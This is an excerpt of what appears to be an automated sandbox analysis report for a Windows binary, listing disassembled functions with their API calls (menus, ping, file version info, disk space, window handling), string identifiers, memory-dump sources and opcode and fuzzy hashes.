                                                          • API String ID: 2426244813-1000479233
                                                          • Opcode ID: 7b3ed098fe8bebf55e27e934ed0da2ba9790fa00b3ac214cc7a3c9ec9251323d
                                                          • Instruction ID: 463eb59d6977ba94a0ddedfacaa7effab8dbb9456c4cae9f1acb1ddfafad752b
                                                          • Opcode Fuzzy Hash: 7b3ed098fe8bebf55e27e934ed0da2ba9790fa00b3ac214cc7a3c9ec9251323d
                                                          • Instruction Fuzzy Hash: 0D519831118301AFC304EF14C8A2ABFBBE5FF85745F14492EF996572A2DB709949CA53
                                                          Function 0055449A Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 179COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFileVersionInfoSizeW.VERSION(?,?), ref: 005544AC
                                                          • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 005544D2
                                                          • VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00554548
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FileInfoVersion$QuerySizeValue
                                                          • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                          • API String ID: 2179348866-1459072770
                                                          • Opcode ID: d6259a26ab1671d4d13ba0bb4213564fd40576a795fa54f77767eac7b1d228bf
                                                          • Instruction ID: fe46942e2296a30a470e4f37beda4d9945e89f9d629295fd466e18ffdad3c833
                                                          • Opcode Fuzzy Hash: d6259a26ab1671d4d13ba0bb4213564fd40576a795fa54f77767eac7b1d228bf
                                                          • Instruction Fuzzy Hash: 104109315002057BEB14EA74DC4BEFF7FACFF86710F040466F904A6182EB7499919BA5
                                                          Function 00565732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WSAStartup.WSOCK32(00000101,?), ref: 00565793
                                                          • inet_addr.WSOCK32(?,?,?), ref: 005657D8
                                                          • gethostbyname.WSOCK32(?), ref: 005657E4
                                                          • IcmpCreateFile.IPHLPAPI ref: 005657F2
                                                          • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00565862
                                                          • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00565878
                                                          • IcmpCloseHandle.IPHLPAPI(00000000), ref: 005658ED
                                                          • WSACleanup.WSOCK32 ref: 005658F3
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                          • String ID: Ping
                                                          • API String ID: 1028309954-2246546115
                                                          • Opcode ID: 3a151638322c29eacb783f64e53d1a000abf9be7d9dcb12f2686bef54545ee77
                                                          • Instruction ID: 33407badb91be002464b9b752bce3de4c47cd359c9148d7df31af1e3f77f2937
                                                          • Opcode Fuzzy Hash: 3a151638322c29eacb783f64e53d1a000abf9be7d9dcb12f2686bef54545ee77
                                                          • Instruction Fuzzy Hash: F6518D316446009FD710EF25DC89B6A7BE4FF48724F14492AFA5ADB2A1EB30EC44DB42
                                                          Function 00559C38 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 150COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00559C7F
                                                          • LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00559CA0
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: LoadString
                                                          • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                          • API String ID: 2948472770-3080491070
                                                          • Opcode ID: 2a1477ca9fdb1908a8b32ec350dba8854cb9f336c0e7a982c4ad71455beffe34
                                                          • Instruction ID: 87a3f7db677f525241554c64fbe888143016c243d0c200967229062ddf4bfc71
                                                          • Opcode Fuzzy Hash: 2a1477ca9fdb1908a8b32ec350dba8854cb9f336c0e7a982c4ad71455beffe34
                                                          • Instruction Fuzzy Hash: F451C17190050EAADF14EBE1DD56EFEBB78BF14304F50006AB605720A1EB392F48DB65
                                                          Function 00577152 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 103windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CreateMenu.USER32 ref: 00577185
                                                          • SetMenu.USER32(?,00000000), ref: 00577194
                                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00577221
                                                          • IsMenu.USER32(?), ref: 00577237
                                                          • CreatePopupMenu.USER32 ref: 00577241
                                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 0057726E
                                                          • DrawMenuBar.USER32 ref: 00577276
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                          • String ID: 0$F
                                                          • API String ID: 161812096-3044882817
                                                          • Opcode ID: 97c55365140da52f2953863523a453096ae640860cacb6c632c823f312959167
                                                          • Instruction ID: d8120829913caeb03ca97d25058e7e3f731f9964d623cf3edf74924599f0cde5
                                                          • Opcode Fuzzy Hash: 97c55365140da52f2953863523a453096ae640860cacb6c632c823f312959167
                                                          • Instruction Fuzzy Hash: 97416878A01209EFDB20DF64E884F9A7BB5FF59310F144028F919A7361D731A914EFA0
                                                          Function 0055B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetErrorMode.KERNEL32(00000001), ref: 0055B4D0
                                                          • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0055B546
                                                          • GetLastError.KERNEL32 ref: 0055B550
                                                          • SetErrorMode.KERNEL32(00000000,READY), ref: 0055B5BD
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Error$Mode$DiskFreeLastSpace
                                                          • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                          • API String ID: 4194297153-14809454
                                                          • Opcode ID: 5765487ad38dcca627881fbb983d6d03775a54946c3c70db9e2a7ac42727b40e
                                                          • Instruction ID: 608ef99a741850fb428597f43fd016401fe1a25da4a6c931c576993f88cc5623
                                                          • Opcode Fuzzy Hash: 5765487ad38dcca627881fbb983d6d03775a54946c3c70db9e2a7ac42727b40e
                                                          • Instruction Fuzzy Hash: 8731A175A002099FEB04EB68C899EBD7FB4FF49306F10406BFA0597291FB709A49CB51
                                                          Function 00548F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0054AABC
                                                          • SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00549014
                                                          • GetDlgCtrlID.USER32 ref: 0054901F
                                                          • GetParent.USER32 ref: 0054903B
                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 0054903E
                                                          • GetDlgCtrlID.USER32(?), ref: 00549047
                                                          • GetParent.USER32(?), ref: 00549063
                                                          • SendMessageW.USER32(00000000,?,?,00000111), ref: 00549066
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CtrlParent$ClassName
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 2573188126-1403004172
                                                          • Opcode ID: 129d5ee6ec331296205f71f3a04b8f272d3a972bff4474dbe60b07a77a94fb8e
                                                          • Instruction ID: 1c77a8a1d511c3eb7b8b4f5515e2b8948b3ac0226c5204bba684d21800c1c826
                                                          • Opcode Fuzzy Hash: 129d5ee6ec331296205f71f3a04b8f272d3a972bff4474dbe60b07a77a94fb8e
                                                          • Instruction Fuzzy Hash: 9921D674A00108BFDF04EBA1DC89EFEBB78FF59310F10015AB925972A1DB795859EB20
                                                          Function 0054907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0054AABC
                                                          • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 005490FD
                                                          • GetDlgCtrlID.USER32 ref: 00549108
                                                          • GetParent.USER32 ref: 00549124
                                                          • SendMessageW.USER32(00000000,?,00000111,?), ref: 00549127
                                                          • GetDlgCtrlID.USER32(?), ref: 00549130
                                                          • GetParent.USER32(?), ref: 0054914C
                                                          • SendMessageW.USER32(00000000,?,?,00000111), ref: 0054914F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CtrlParent$ClassName
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 2573188126-1403004172
                                                          • Opcode ID: 74dc3734dfa68d0a72ae78be3146c656fa71506ef00db51a08a23b54686bb204
                                                          • Instruction ID: f60cc2fba2eec589416fee5426dd84deabf9fd10785c13a8e1fd1adcb504e6d9
                                                          • Opcode Fuzzy Hash: 74dc3734dfa68d0a72ae78be3146c656fa71506ef00db51a08a23b54686bb204
                                                          • Instruction Fuzzy Hash: 0F21F574A00109BFDF00EBA1DC89EFEBB78FF58300F00001ABA15972A1DB794859EB20
                                                          Function 00552527 Relevance: 15.2, APIs: 10, Instructions: 190windowsleepCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenuItemInfoW.USER32(005B5890,000000FF,00000000,00000030), ref: 005525A3
                                                          • SetMenuItemInfoW.USER32(005B5890,00000004,00000000,00000030), ref: 005525D9
                                                          • Sleep.KERNEL32(000001F4), ref: 005525EB
                                                          • GetMenuItemCount.USER32(?), ref: 0055262F
                                                          • GetMenuItemID.USER32(?,00000000), ref: 0055264B
                                                          • GetMenuItemID.USER32(?,-00000001), ref: 00552675
                                                          • GetMenuItemID.USER32(?,?), ref: 005526BA
                                                          • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00552700
                                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00552714
                                                          • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00552735
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                          • String ID:
                                                          • API String ID: 1460738036-0
                                                          • Opcode ID: d7e34113f8f6e8566bea523024aff614537371fcc7709a4a658f70eb623fb069
                                                          • Instruction ID: 31cad9df7e7700c2da248c5ab62c78822e05eb62240a8a4b603df2b6a998d5f9
                                                          • Opcode Fuzzy Hash: d7e34113f8f6e8566bea523024aff614537371fcc7709a4a658f70eb623fb069
                                                          • Instruction Fuzzy Hash: 47619F70900249AFDF11CF64DCA8ABE7FB8FB46306F14055AEC41A7251DB31AD49EB21
                                                          Function 00576F23 Relevance: 15.2, APIs: 10, Instructions: 184windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00576FA5
                                                          • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00576FA8
                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00576FCC
                                                          • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00576FEF
                                                          • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00577067
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$LongWindow
                                                          • String ID:
                                                          • API String ID: 312131281-0
                                                          • Opcode ID: 9b07540eb6c30bb2078dab1060076ca584a224770b979669a751cae79b1ecc54
                                                          • Instruction ID: 433a7bdb7d88aba616a4bfcacfa629930ee6fbeb409a33e47dea204e9fa5b474
                                                          • Opcode Fuzzy Hash: 9b07540eb6c30bb2078dab1060076ca584a224770b979669a751cae79b1ecc54
                                                          • Instruction Fuzzy Hash: DA618D71A00208AFDB11DFA4EC85FEE7BB8FB49700F104159FA18A72A1D771AD45EB50
                                                          Function 005511CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCurrentThreadId.KERNEL32 ref: 005511F0
                                                          • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00550268,?,00000001), ref: 00551204
                                                          • GetWindowThreadProcessId.USER32(00000000), ref: 0055120B
                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00550268,?,00000001), ref: 0055121A
                                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 0055122C
                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00550268,?,00000001), ref: 00551245
                                                          • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00550268,?,00000001), ref: 00551257
                                                          • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00550268,?,00000001), ref: 0055129C
                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00550268,?,00000001), ref: 005512B1
                                                          • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00550268,?,00000001), ref: 005512BC
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                          • String ID:
                                                          • API String ID: 2156557900-0
                                                          • Opcode ID: 5ae79b2e1c892078a3fa984fff41c880453ebb867944fcbfcac2bd0bfc0269b5
                                                          • Instruction ID: 7343b8f6b66d2aaf43acb3a487f06b58d634a8d5bffae04f81841a83d07ce058
                                                          • Opcode Fuzzy Hash: 5ae79b2e1c892078a3fa984fff41c880453ebb867944fcbfcac2bd0bfc0269b5
                                                          • Instruction Fuzzy Hash: 00319E79A00604BBDB10DF55FD98F797FA9FB64312F104226FD04C61A0D778AD88AB64
                                                          Function 004FFA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 004FFAA6
                                                          • OleUninitialize.OLE32(?,00000000), ref: 004FFB45
                                                          • UnregisterHotKey.USER32(?), ref: 004FFC9C
                                                          • DestroyWindow.USER32(?), ref: 005345D6
                                                          • FreeLibrary.KERNEL32(?), ref: 0053463B
                                                          • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00534668
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                          • String ID: close all
                                                          • API String ID: 469580280-3243417748
                                                          • Opcode ID: ee7d52ce1c0d58b1c0792faa7857911ca7c4a926cc3be008678932ebce1f0276
                                                          • Instruction ID: 90af82264094c3484fe235552f9d0cc613badd364abe93f9e57101685f53892e
                                                          • Opcode Fuzzy Hash: ee7d52ce1c0d58b1c0792faa7857911ca7c4a926cc3be008678932ebce1f0276
                                                          • Instruction Fuzzy Hash: AAA1B030701216CFDB29EF10C5A9A79FB64BF45710F1042AEE90AAB261DB34EC5ACF54
                                                          Function 0054A068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • EnumChildWindows.USER32(?,0054A439), ref: 0054A377
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ChildEnumWindows
                                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                          • API String ID: 3555792229-1603158881
                                                          • Opcode ID: d739b4e5800cb075fca3f38b3286d14a8d961495f3cb5016f8bd608b05e806bf
                                                          • Instruction ID: 575954c845ee080e8b781918090e750f96905ecd2bc9428a7bd1b764cae5b05b
                                                          • Opcode Fuzzy Hash: d739b4e5800cb075fca3f38b3286d14a8d961495f3cb5016f8bd608b05e806bf
                                                          • Instruction Fuzzy Hash: 3591F63160460AAFDB48DFA0C846BEEFFB4BF44308F54851AE849A7181DF7069D9DB91
                                                          Function 0055D899 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 230COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0055DA4F
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055DA63
                                                          • GetFileAttributesW.KERNEL32(?), ref: 0055DA7B
                                                          • SetFileAttributesW.KERNEL32(?,00000000), ref: 0055DA95
                                                          • SetCurrentDirectoryW.KERNEL32(?), ref: 0055DAA7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory$AttributesFile
                                                          • String ID: *.*
                                                          • API String ID: 769691225-438819550
                                                          • Opcode ID: d51589c738d3500946ea210781063acee196fbae3a9dac6d3008b5e213eff115
                                                          • Instruction ID: 85334b23b26325ffa173fa30f336537bb925d372ef0bb68a8d827955f320e1e0
                                                          • Opcode Fuzzy Hash: d51589c738d3500946ea210781063acee196fbae3a9dac6d3008b5e213eff115
                                                          • Instruction Fuzzy Hash: E8818E725042459FCB34EF64C854AAABBF4BF89315F14482FF889C7251E634D949CB62
                                                          Function 004F2E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • SetWindowLongW.USER32(?,000000EB), ref: 004F2EAE
                                                            • Part of subcall function 004F1DB3: GetClientRect.USER32(?,?), ref: 004F1DDC
                                                            • Part of subcall function 004F1DB3: GetWindowRect.USER32(?,?), ref: 004F1E1D
                                                            • Part of subcall function 004F1DB3: ScreenToClient.USER32(?,?), ref: 004F1E45
                                                          • GetDC.USER32 ref: 0052CD32
                                                          • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0052CD45
                                                          • SelectObject.GDI32(00000000,00000000), ref: 0052CD53
                                                          • SelectObject.GDI32(00000000,00000000), ref: 0052CD68
                                                          • ReleaseDC.USER32(?,00000000), ref: 0052CD70
                                                          • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0052CDFB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                          • String ID: U
                                                          • API String ID: 4009187628-3372436214
                                                          • Opcode ID: c645709d624a701d7ba82a02c0d9523843d8d2d2e32848b49d0c4e31f604b307
                                                          • Instruction ID: 3506f20204a88e0047de09028fe7369f06b5cb588865ab045fb88e18a7616141
